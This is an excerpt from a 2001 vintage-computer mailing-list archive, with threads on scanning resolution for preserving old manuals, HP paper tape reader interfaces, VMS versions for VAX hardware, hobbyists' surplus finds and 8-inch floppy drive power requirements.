19:05:07 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B1@BUSH02> Message-ID: On Sat, 30 Jun 2001, Davison, Lee wrote: > > > Scanning printed material much above 150dpi is usually a waste > > > as most printing is done at about 70dpi. > > > > What are you smoking, and is there enough for the rest of us? > > > We're talking old manuals here. Remember? OLD manuals. Why should that matter? Ink on paper is still ink on paper no matter how old. The resolution required to scan printed pages with any sort of decent quality remains the same whether you are scanning 5 century old pages or 5 second old pages. > > 600 Dpi with resolution enhancement is very old technology > > for laserprinters > > > Nobody, commercially, makes books on laserprinters. Sure they do. > > If you can manage it, i would say scan at 600 Dpi. > > > Waste of time, effort and storage space. No it isn't. It's looking toward the future when we'll have a terrabyte hard drive in our desk tops (end of next year probably) and bountiful bandwidth. 600DPI would be cumbersome for most folks today but two years from now we'll all be bemoaning the fact that most scans done today were only 300DPI. > > scanning at 1/2 the target printer resolution is probably > > the best you can hope for. > > > Scanning at just over twice the source resolution is the best you > will ever get. More than that's a waste. Pishposh! What IS the source resolution? Of a printed page? HELLO! Close enough to infinity to practically call it that!!! Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From Lee.Davison at merlincommunications.com Fri Jun 29 23:57:40 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:07 2005 Subject: preserving / ressurecting old docs? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2B5@BUSH02> > > My OCR does fine at 150 dpi on nearly everything > > That's what counts. > Which, I think, is where I came in ... > A good context sensitive OCR program should be able to operate > at well BELOW the source resolution -- it needs to differentiate > the characters, not necessarily see all features. (for example: > serifs) And with good enough context sensitivity, a lot of them > can be interpolated even if not recognizable. > 150 dpi scan, red filtered, greyscale and contrast enhanced makes for good text and line drawing reproduction. Printed out on a halfway good printer, an HP Laserjet, interpolated to 600 dpi, and it looks better than the original. > > This message has been checked for all known viruses by Star Internet .... > Is Outlook, etc. so incredibly porous that it's necessary to scan plain > text messages?? > It's corporate parano^h^h^h^h^h^h policy, but I didn't know it was on outgoing mail as well. Must remember to encrypt outgoing viru^h^h^h^h e-mails in future. > Are you the one whose system sends an automated response every > time somebody sends an infected attachment to the list? > I don't know. I do know I get sent a "Someone has tried to send you unauthorised code" warning e-mail instead of the original message. Then, if I want to see the message, I have to e-mail Star and they e-mail me back a disclaimer form which I have to print out, sign and fax it back. Then go to a web page and use an id number and password, which is only e-mailed to me after they get the fax, to retrieve the message. They won't even Cc the text of the message to me without all this hoop jumping. Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From Lee.Davison at merlincommunications.com Fri Jun 29 23:58:47 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:07 2005 Subject: commodore 2500 in Kansas City Message-ID: <707AA588EE28D311BCD50090276D7D0007A2B6@BUSH02> > What the hell is a Commodore 2500? > Big box Amiga. Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From foo at siconic.com Fri Jun 29 23:03:45 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:07 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2B2@BUSH02> Message-ID: On Sat, 30 Jun 2001, Davison, Lee wrote: > No, the resolution may be 2000 lines/inch, the definition won't be. I > doubt you'll find any feature, even on good copy, smaller than 1/250". > On old manuals I would be suprised to find much, if any detail smaller > than 1/100" so ok. 250dpi then. You're still going to get shitty quality. Why skimp on something that is supposed to be a preservationary resource for the future? > Not really, just looked a two books, TI TTL data book 1979 and Radio > valve data 1966. The TI book gets to about 125 dpi at best, but is on > coated paper. The Radio valve data book barely manages 80 dpi and is > on uncoated paper, typical for manuals. Your data set is way too limited to be making a valid judgement. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From Lee.Davison at merlincommunications.com Sat Jun 30 00:30:41 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:07 2005 Subject: preserving / ressurecting old docs? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2B7@BUSH02> > > than 1/100" so ok. 250dpi then. > > You're still going to get shitty quality. Why skimp on something that is > supposed to be a preservationary resource for the future? > But I don't. I get good quality. It's the information I want to preserve, not the physical document. ASCII would do. > Your data set is way too limited to be making a valid judgement. > Examples don't need to be comprehensive. Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From jos.mar at bluewin.ch Sat Jun 30 03:41:22 2001 From: jos.mar at bluewin.ch (jos.mar) Date: Sun Feb 27 19:05:07 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <005301c10138$82f0cca0$7c8953d1@jay> References: <005301c10138$82f0cca0$7c8953d1@jay> Message-ID: <01063010440001.00513@jos> On Sat, 30 Jun 2001, you wrote: > The 2748A/B paper tape reader uses the "8-bit duplex register interface". > That would lead me to believe it's an 8 bit interface, not a 16 bit one. > > I have full docs (& schematics I believe) for both the 2748B and the 8-bit > duplex register interface board. I have two of those units presently > running, so I can get the cable pinout too if you'd like (but I believe the > cable diagram is in the interface manual). Let me know if you still need > them. > I believe I received enough info from the list to figure it out. I might come back should i run into problems with this interface... > One word of caution about the facit 4070 punch... as I found out when I got > mine - the facit had a board in it that was replaced depending on what > electrical spec the system you were attaching it to used. I seem to recall > that you had to specify which (of many) interfaces you wanted on the punch > when you ordered it. So just because you find a 4070 punch doesn't mean it > has the right board in it to hook up to the 8-bit duplex register board (hp > punches and readers both used the 8-bit duplex register board). Matter of > fact, unless it was found with an HP system, it probably DOESN'T have the > right board for the HP. You can't tell from the outside either, as I've seen > the RS-232 interface board in the punch presents a DB25 externally - just > the same as the HP version of the card does (which is decidedly NOT RS-232). > > Jay West > > The Facit was found with the HP reader and HP Disk subsytem, and has the full length board with parallel interface. I did not have an HP relabeling however... rgds, Jos Dreesen From jos.mar at bluewin.ch Sat Jun 30 03:31:28 2001 From: jos.mar at bluewin.ch (jos.mar) Date: Sun Feb 27 19:05:07 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: References: Message-ID: <01063010395100.00513@jos> On Fri, 29 Jun 2001, you wrote: > > > > At 09:22 PM 6/28/01 +0200, you wrote: > > > > >A recent dumpster dive yielded a HP2748A papertape reader. Does anyone have > > >the interface spec's for this device handy ? > > > > > > I think *some* of HP's paper tape punches and readers use the 82032 > > parallel interface. It's a 16 bit parallel interface with several > > > I suspect this is highly likely since the 16 bit parallel interfaces, > like the 82032, 98032 (for the 9825, etc) were used for many character-based > (and other) peripherals. > The HP2748 I rescued has a very old style 50 pins connector, in 4 rows 13-12-13-12 pins. Only 11 pins are used, so it is bound to be an 8 bit interface. With the info give here that it is 12V negative logic, I should be able to find out the connections and wire up an interface board to the PDP/8E. I did not take the Factit 4700 because I already have 2... They come indeed with many different boards. One has a RS232 interface, the other has a 8 bit parallel interface that I hacked to be centronics -like. This way I could punch some tapes from the PC to be used on the 8/E Regards, Jos Dreese From pechter at bg-tc-ppp909.monmouth.com Sat Jun 30 06:11:23 2001 From: pechter at bg-tc-ppp909.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:07 2005 Subject: 'Good' versions of VMS In-Reply-To: <5.0.0.25.2.20010629180917.0226c2e0@209.185.79.193> from Chuck McManis at "Jun 29, 2001 06:11:58 pm" Message-ID: <200106301111.f5UBBUZ27984@bg-tc-ppp909.monmouth.com> > >Something else to consider. If you're running a MicroVAX II then V7.2 is > >where you stop. With a VAX-11/725 you stop at V5.1 (or maybe V5.1-1, with > >the rest of the VAX-11/7xx family, the VAXft family and the MicroVAX I you > >stop at V6.2. It appears that V7.3 won't be the final stopping point for > >any systems, at least I've been unable to find such information in the V7.3 > >SPD. > > That is very good info. If I ever get a MicroVAX I for da House I'll put > 6.2 on it. > > --Chuck Since the 11/725 was just an 11/730 with less disk -- it should run on any version that supports the 11/730. Now the uVaxI would likely run short of support around 5.1 (or earlier). I'm wondering what the earliest version of VMS was for the VaxStation 3100... Did it run 4.2? Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From optimus at canit.se Fri Jun 29 21:31:39 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:07 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2AF@BUSH02> Message-ID: <399.581T1950T2115651optimus@canit.se> Davison, Lee skrev: >Scanning printed material much above 150dpi is usually a waste as most >printing is done at about 70dpi. Scanning low-resoluting material at a low resolution is a great way to get moir? effects. Amongst others. -- En ligne avec Thor 2.6a. There are two major products that come from Berkeley: LSD and UNIX. We don't believe this to be a coincidence. -- Jeremy S. Anderson From jrkeys at concentric.net Sat Jun 30 08:51:09 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:05:07 2005 Subject: New finds at a school auction Message-ID: <01c101c1016b$b910d0e0$9e701fd1@default> Wednesday of this week I went to a school auction and came away 3 new in the box Apple II WorkStation cards, apple number A2B2088 dated 1987. Two are still sealed and the one that had been open had Ramworks III card by Applied Engineering inside also. I had to watch them pass (for no bidders) on 100's of Apple II's, apple floppy drive, apple monitors, some TRS80 model III's, pc stuff. I do not have the room to store all the stuff that they will be trashing. You could buy a lot for $1 (sometimes the lot would have over 100 items in it), the prices were right but just too much stuff. From jhellige at earthlink.net Sat Jun 30 09:49:39 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:07 2005 Subject: commodore 2500 in Kansas City In-Reply-To: References: Message-ID: >On Fri, 29 Jun 2001, McFadden, Mike wrote: > >> Wandering through the computer surplus I came across a commodore 2500 >> dumped in a box. I can't tell if it's complete. It was unusual >> enough for me to notice. Does anybody want it? I can make an offer >> for you and then ship it to you. There was a commodore 2000 manual >> next to it. >What the hell is a Commodore 2500? I would imagine he's referring to an Amiga 2500. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From chomko at greenbelt.com Sat Jun 30 10:01:12 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:05:07 2005 Subject: Vintage/Classic Computer anything in Dallas, Texas Message-ID: <3B3DE9B8.505B2BFC@greenbelt.com> Anyone know of anything of interest in the Dallas, Texas are related to vintage/classic computer stuff? I'll be there over the week of July 4th. But I'm STILL trying to find away to get to Boston area at the end of the month (VCF East), vacation hours permitting. Anyway, any help with info about Big D and classic computers appreciated. Thank, Eric From ethan_dicks at yahoo.com Sat Jun 30 10:01:40 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:07 2005 Subject: Back from the fleamarket In-Reply-To: <200106292112.f5TLC6T20557@bg-tc-ppp1506.monmouth.com> Message-ID: <20010630150140.34072.qmail@web9504.mail.yahoo.com> --- Bill Pechter wrote: > > My friend is experienced. I only wonder if the card will run without that > > quasi-SCSI chip. Probably, but no TK50, then, and no possibility to patch the ROMs and use the SCSI interface as a real SCSI interface (I've been trying to get back to that project, but stalled when I realized that I don't have a map of which byte corresponds to which socket). > If all he wants is the 5380 -- I recommend using something like > a MediaVision ProAudio Spectrum Sound Card as the chip donor. > > I've got 3 and a Trantor T180 (which I think uses the same chip) > available to help save a MicroVax. I have a T128 that gave up a 5380 for a Supra controller (but I did a nice, clean job and installed a socket for later - it's my only *bootable* 8-bit SCSI card). -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ajp166 at bellatlantic.net Sat Jun 30 10:10:44 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:05:07 2005 Subject: 'Good' versions of VMS Message-ID: <00ea01c10176$ee7aabb0$4c779a8d@ajp166> -----Original Message----- From: healyzh@aracnet.com >> How is the lack of V7.2-1 a problem? There's nothing it can do that >> V7.2-1H1 can't. > >From a Hobbyist standpoint it's not. However, if I understand things >correctly it's only *supported* on a very narrow list of hardware. Of >course any commercial shop probably had their V7.2-1 CD's long before >V7.2-1H1 came out. > > Zane V7.2 is quite old, around 3 years maybe more. Also one must remember/recognize "DEC" supported means they will answer questions or fix it. Unsupported divers abound in even 7.2 for older hardware. >From my perspective any version newer than 5.2 is good save for the standard ".0" releases as they will be buggy. Allison From ethan_dicks at yahoo.com Sat Jun 30 10:05:31 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:07 2005 Subject: Back from the fleamarket In-Reply-To: <2154.580T350T13323903optimus@canit.se> Message-ID: <20010630150531.53272.qmail@web9506.mail.yahoo.com> --- Iggy Drougge wrote: > >> >> Then he had a KA410-A board... a µVAX 2000 or a VAXstation 2000. > This card is totally bare, lacking any daughter boards. What a shame. You'll also want a RAM daughter card, too. There isn't much on board. 2Mb cards should be easy to find and nearly free. Anything larger than 4Mb will probably be a bit expensive if sold seperately (my largest is a 4Mb). > My friend is experienced... Hopefully he's experienced at desoldering multi-layer boards. That's a bit more difficult than two-layer, because the power and ground planes suck lotsa heat and are difficult to clean out with a hand-operated solder sucker. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From KenzieM at sympatico.ca Sat Jun 30 10:10:11 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:05:07 2005 Subject: PDP 11/34 Message-ID: <008201c10177$690f9750$0101a8c0@sympatico.ca> Well I just picked up a car load of stuff. Manuals, disks and paper tapes, a VT100 terminal and 2 8" floppy drives. I left 4 RL05 drives, 2 racks and card cages behind for another trip. The 2 racks are not quite the same size but I didn't think that they'd tie to the roof of the Toyota. So I'll get a mover to haul the rest. In one of the boxes was what looks like a pair of electric pencils? Anyone in the Ottawa area interested in helping assemble these? How much of this do I need to get the system working, ie. can I put the a card cage and a drive in a smaller rack that will fit in the basement? From KenzieM at sympatico.ca Sat Jun 30 10:17:20 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:05:07 2005 Subject: New finds at a school auction References: <01c101c1016b$b910d0e0$9e701fd1@default> Message-ID: <009601c10177$c2c83040$0101a8c0@sympatico.ca> ----- Original Message ----- From: "John R. Keys Jr." To: Sent: Saturday, June 30, 2001 9:51 AM Subject: New finds at a school auction > Wednesday of this week I went to a school auction and came away 3 new in > the box Apple II WorkStation cards, apple number A2B2088 dated 1987. > Two are still sealed and the one that had been open had Ramworks III > card by Applied Engineering inside also. I had to watch them pass (for > no bidders) on 100's of Apple II's, apple floppy drive, apple monitors, > some TRS80 model III's, pc stuff. I do not have the room to store all > the stuff that they will be trashing Where was this located I'm still looking for an early Tandy? From jrkeys at concentric.net Sat Jun 30 10:46:28 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:05:07 2005 Subject: New finds at a school auction References: <01c101c1016b$b910d0e0$9e701fd1@default> <009601c10177$c2c83040$0101a8c0@sympatico.ca> Message-ID: <01e101c1017b$d4a0d5c0$9e701fd1@default> Apple Valley, MN Dist 196 back of the Admin. building ----- Original Message ----- From: "Mike Kenzie" To: Sent: Saturday, June 30, 2001 10:17 AM Subject: Re: New finds at a school auction > ----- Original Message ----- > From: "John R. Keys Jr." > To: > Sent: Saturday, June 30, 2001 9:51 AM > Subject: New finds at a school auction > > > > Wednesday of this week I went to a school auction and came > away 3 new in > > the box Apple II WorkStation cards, apple number A2B2088 > dated 1987. > > Two are still sealed and the one that had been open had > Ramworks III > > card by Applied Engineering inside also. I had to watch > them pass (for > > no bidders) on 100's of Apple II's, apple floppy drive, > apple monitors, > > > some TRS80 model III's, pc stuff. I do not have the room > to store all > > the stuff that they will be trashing > > Where was this located I'm still looking for an early Tandy? > > From healyzh at aracnet.com Sat Jun 30 11:05:20 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:05:07 2005 Subject: PDP 11/34 In-Reply-To: <008201c10177$690f9750$0101a8c0@sympatico.ca> Message-ID: >Well I just picked up a car load of stuff. Manuals, disks >and paper tapes, a VT100 terminal and 2 8" floppy drives. > >I left 4 RL05 drives, 2 racks and card cages behind for >another trip. Are those RK05 or RL01 or RL02 drives? >How much of this do I need to get the system working, ie. >can I put the a card cage and a drive in a smaller rack that >will fit in the basement? Part of the answer to the question will be do you want to be able to bring up whatever system is on those disk packs? Keep in mind it might require all 4 of those drives, plus if those are RK05's you want to make sure you keep all of them. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From KenzieM at sympatico.ca Sat Jun 30 11:29:40 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:05:07 2005 Subject: PDP 11/34 References: Message-ID: <001901c10181$f308e560$0101a8c0@sympatico.ca> ----- Original Message ----- From: "Zane H. Healy" To: Sent: Saturday, June 30, 2001 12:05 PM Subject: Re: PDP 11/34 > >Well I just picked up a car load of stuff. Manuals, disks > >and paper tapes, a VT100 terminal and 2 8" floppy drives. > > > >I left 4 RL05 drives, 2 racks and card cages behind for > >another trip. > > Are those RK05 or RL01 or RL02 drives? I would guess that they are RK05, I just hauled 2 RL01's into the garage. Further looking on the web leads me to think that there maybe 3 card cages 2 standards and 1 enhanced with the keypad. There are also a bunch of disks for the RL01. I also found documentation for a PDP 11/05 in the pile and, a box of 8" floppies, and a box of paper tapes. I didn't notice a reader. There were also 2 bakplanes in a second box and a bunch more cards which I'll list latter. The 8" floppy drives are Morrows. There is documentation for CROMEMCO fortran in the pile also. > >How much of this do I need to get the system working, ie. > >can I put the a card cage and a drive in a smaller rack that > >will fit in the basement? > > Part of the answer to the question will be do you want to be able to bring > up whatever system is on those disk packs? Keep in mind it might require > all 4 of those drives, plus if those are RK05's you want to make sure you > keep all of them. Looking at the pile I'm thinking that there is still 1 rack missing. Will keeping them in an unheated garage cause much damage, or should I make an effort to get the units to the basement. From dittman at dittman.net Sat Jun 30 11:33:32 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:07 2005 Subject: Vintage/Classic Computer anything in Dallas, Texas In-Reply-To: <3B3DE9B8.505B2BFC@greenbelt.com> from "Eric Chomko" at Jun 30, 2001 11:01:12 AM Message-ID: <200106301633.f5UGXXh23101@narnia.int.dittman.net> > Anyone know of anything of interest in the Dallas, Texas are related to > vintage/classic computer stuff? I'll be there over the week of July 4th. > But I'm STILL trying to find away > to get to Boston area at the end of the month (VCF East), vacation hours > permitting. > > Anyway, any help with info about Big D and classic computers > appreciated. If you are going to be there next Saturday the First Saturday event will have a bit. -- Eric Dittman dittman@dittman.net From jrice at texoma.net Sat Jun 30 12:00:41 2001 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 19:05:07 2005 Subject: Vintage/Classic Computer anything in Dallas, Texas References: <200106301633.f5UGXXh23101@narnia.int.dittman.net> Message-ID: <3B3E05B9.93FB73C2@texoma.net> There is a surplus consignment store in Allen, a suburb, that has a lot of pc oriented stuff. The name of the store is Software Etc. and it's on the corner of Greenville and Bethany. The sometimes get big iron and workstation stuff. They had some SGI Indy and Sun stuff a couple of weeks ago. James Eric Dittman wrote: > > > Anyone know of anything of interest in the Dallas, Texas are related to > > vintage/classic computer stuff? I'll be there over the week of July 4th. > > But I'm STILL trying to find away > > to get to Boston area at the end of the month (VCF East), vacation hours > > permitting. > > > > Anyway, any help with info about Big D and classic computers > > appreciated. > > If you are going to be there next Saturday the First Saturday event > will have a bit. > -- > Eric Dittman > dittman@dittman.net From cmcmanis at mcmanis.com Sat Jun 30 12:24:01 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:07 2005 Subject: PDP 11/34 In-Reply-To: <001901c10181$f308e560$0101a8c0@sympatico.ca> References: Message-ID: <5.0.0.25.2.20010630101159.00aa9560@209.185.79.193> >I would guess that they are RK05, I just hauled 2 RL01's >into the garage. Further looking on the web leads me to >think that there maybe 3 card cages 2 standards and 1 >enhanced with the keypad. The traditional nomenclature is that you have one CPU (that's the one with the keypad) and two expansion chassis. >I also found documentation for a PDP 11/05 in the pile and, >a box of 8" floppies, and a box of paper tapes. I didn't >notice a reader. There were also 2 bakplanes in a second >box and a bunch more cards which I'll list latter. Sometimes systems came with the diagnostics on paper tape (DEC paper tapes are all marked on the leader with their function, if they start with the letters XX then they are diagnostics so save them!) >The 8" floppy drives are Morrows. > >There is documentation for CROMEMCO fortran in the pile >also. So it seems there was some S100 stuff there too. >Will keeping them in an unheated garage cause much damage, >or should I make an effort to get the units to the basement. It is ok to store them in an unheated garage but it is not recommended that you operate them over wide ranges of temperatures. Moving them to the basement would be a Good Thing however and preserve your investment in time and effort. --Chuck From michael_davidson at pacbell.net Sat Jun 30 12:49:01 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:07 2005 Subject: PDP 11/34 References: <5.0.0.25.2.20010630101159.00aa9560@209.185.79.193> Message-ID: <3B3E110D.4ECFFE5E@pacbell.net> Chuck McManis wrote: > > > >Will keeping them in an unheated garage cause much damage, > >or should I make an effort to get the units to the basement. > > It is ok to store them in an unheated garage but it is not recommended that > you operate them over wide ranges of temperatures. Moving them to the > basement would be a Good Thing however and preserve your investment in time > and effort. > Remember, this is an unheated garage in Ontario, not California ... It would probably be a good idea to move them into the basement before winter comes round. The good news is that you won't have to worry about termites ;-) From healyzh at aracnet.com Sat Jun 30 13:02:40 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:05:07 2005 Subject: PDP 11/34 In-Reply-To: <001901c10181$f308e560$0101a8c0@sympatico.ca> References: Message-ID: >Will keeping them in an unheated garage cause much damage, >or should I make an effort to get the units to the basement. Well, my PDP-11/44 is kept in an unheated garage (though it does get heat from the house) that can get plenty hot in the summer, and very cold in the winter. Prior to my getting it, the /44 sat in Paxton's old Warehouse for who knows how many years. I think cleanliness is of more importance than wide temperature changes. Because of this I keep the /44 covered with old sheets to try and keep most of the dirt out of it. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From ard at p850ug1.demon.co.uk Sat Jun 30 13:22:53 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:07 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <3B3D2C52.3694A18@tiac.net> from "Bob Shannon" at Jun 29, 1 09:33:06 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 874 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010630/603407aa/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jun 30 13:27:37 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:07 2005 Subject: WTB: 8" floppy In-Reply-To: <001d01c1010b$2905d280$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 29, 1 08:19:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1261 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010630/9165ba8d/attachment.ksh From jhellige at earthlink.net Sat Jun 30 16:40:18 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:07 2005 Subject: Apple Thermal Transfer printer In-Reply-To: References: Message-ID: I walked out my door this afternoon to find an Apple Thermal Transfer printer sitting next to the garbage can outside of our building. It's model# A9M0306 and while I've seen plenty of Imagewriter's and other Apple printers, this is the first time I've come across one of these. I almost passed it up because at first glance it appeared to be just another 80 column dot matrix. Two things that caught my eye were the old multi-color Apple logo and the serial cable attacbed to it. It's missing whatever head/ribbon would be installed and I rescued it just minutes before a thunderstorm moved through. If anyone is interested in it, you're welcome to it for the cost of shipping. Otherwise I'll likely hold on to it. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dittman at dittman.net Sat Jun 30 17:21:59 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:07 2005 Subject: Vintage/Classic Computer anything in Dallas, Texas In-Reply-To: <3B3E05B9.93FB73C2@texoma.net> from "James L. Rice" at Jun 30, 2001 12:00:41 PM Message-ID: <200106302221.f5UMLxb23888@narnia.int.dittman.net> > There is a surplus consignment store in Allen, a suburb, that has a lot > of pc oriented stuff. The name of the store is Software Etc. and it's > on the corner of Greenville and Bethany. The sometimes get big iron > and workstation stuff. They had some SGI Indy and Sun stuff a couple of > weeks ago. I posted about the SGI stuff here last week. They've still got two of the Indys as of Thursday night. I didn't mention them as they rarely have anything other than PC or Mac stuff. -- Eric Dittman dittman@dittman.net From edick at idcomm.com Sat Jun 30 17:32:31 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:11 2005 Subject: 8" drive supply disparities (was Re: WTB: 8" floppy) References: Message-ID: <000901c101b4$8da49880$9cc762d8@idcomm.com> Though I've heard of them, I've never seen an 8" drive that operated from the Vcc supply alone, nor have I seen any printed allusion to them. Back in the days when the 8" drive was in full usage, there were few drives available that didn't use the three available supplies. In the years when smaller drives were becoming popular, manufacturers of 8" drives figured out a few things that might be impacting their reduced 8" drive sales. These included the use of several supply voltage requirements, but that was partially dealt with by using single-supply amplifiers, and the noise of the AC motors, which was dealt with by using DC motors. However, the sheer mass of an 8" drive mandated a cost that was easily beaten in the marketplace by the smaller drives, and, no matter how well the 8" drives did with reduction of power supply demands and in noise, once the smaller drives were able to produce the same capacity, not to mention that the evolution of the hard drives of small form factors were able to offset the capacity demand somewhat, the fate of the 8" drive was sealed, even if its capacity could be doubled or tripled, since the combination of floppy and hard disks was now a reality, and large capacity was no longer of such large interest. 8" drives with which I've had contact, with a VERY few very old exceptions, notably PerSci, have always used the Shugart-defined 6-pin connector with which we all became familiar if we used 8" drives in the '70's. If the drive required a supply, it was normally provided by the PSU that one commonly associated with 8" drive pacakges, e.g. the PowerOne CP206 and others of that ilk. If a drive didn't need the Vee supply, it didn't matter that it was there. If it did need that supply and your particular supply didn't provide the correct voltage, an on-board regulator on the drive could be installed to handle that if it wasn't already there. Moreover, many supplies were adjustable, either by tweaking a pot or by changing a resistor (since they nearly all used the uA/LM 723 regulator, which worked in that way. If you simply hooked up a supply to a drive without first verifying that the Vee supply was properly handled, one might say you got what you deserved, however. Aside from the Vee issue, which only occurred in a very few cases wherein there was no regulator on the drive AND the supply was incorrectly set up, there was little likelihood of damage to the drive or supply. The drive was unlikely to work if Vee was -12 volts, however, if the drive was set up to use -5. Permanent damage to the drive was unlikely however, since the devices involved were of a type normally used with a bipolar 15-volt supply. While the biasing necessary to make these work at bipolar 5 volts wouldn't work if the two supplies were unequal, serious or permanent damage was unlikely. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Saturday, June 30, 2001 12:27 PM Subject: Re: WTB: 8" floppy > > > > The connector definitions from the '70's, before they thought up the LSI board > > or even the intermediate board that actually didn't require the Vee supply, > > however, relied on the presence of that negative bias for the read amp's. If > > you plug the DC supply compatible with the ORIGINAL version of that SA80x > > connector into any drive that uses it, it will work, though the Vee and possibly > > the 24-volt supply as well, may be redundant. > > Almost.... > > If the drive doesn't use the -ve supply (Vee) at all, then it doesn't > matter if that pin on the power connector is connected to any reasonable > -ve supply, unconnected, or whatever. It's simply not connected on the drive. > > If the drive _does_ use the -ve supply, then it can either be expecting a > -5V stabilised supply or a -7V to -16V unregulated one, depending on the > position of a link on the SA800 board). I would guess that some PSUs for 8" > drives gave out -5V, others about -9V. Use the 'wrong' link setting and > it'll either not work, or magic smoke might leak out. I have no idea what > other manufacturer's drives did -- some of them might be -5V only, for > example. > > Were there really 8" drives that were +5V only? (i.e. that didn't need > the +24V line). I've never seen one. > > -tony > > From michael_davidson at pacbell.net Sat Jun 30 19:25:24 2001 From: michael_davidson at pacbell.net (Michael Davidson) Date: Sun Feb 27 19:05:11 2005 Subject: Unibus / Qbus bus drivers and receivers References: 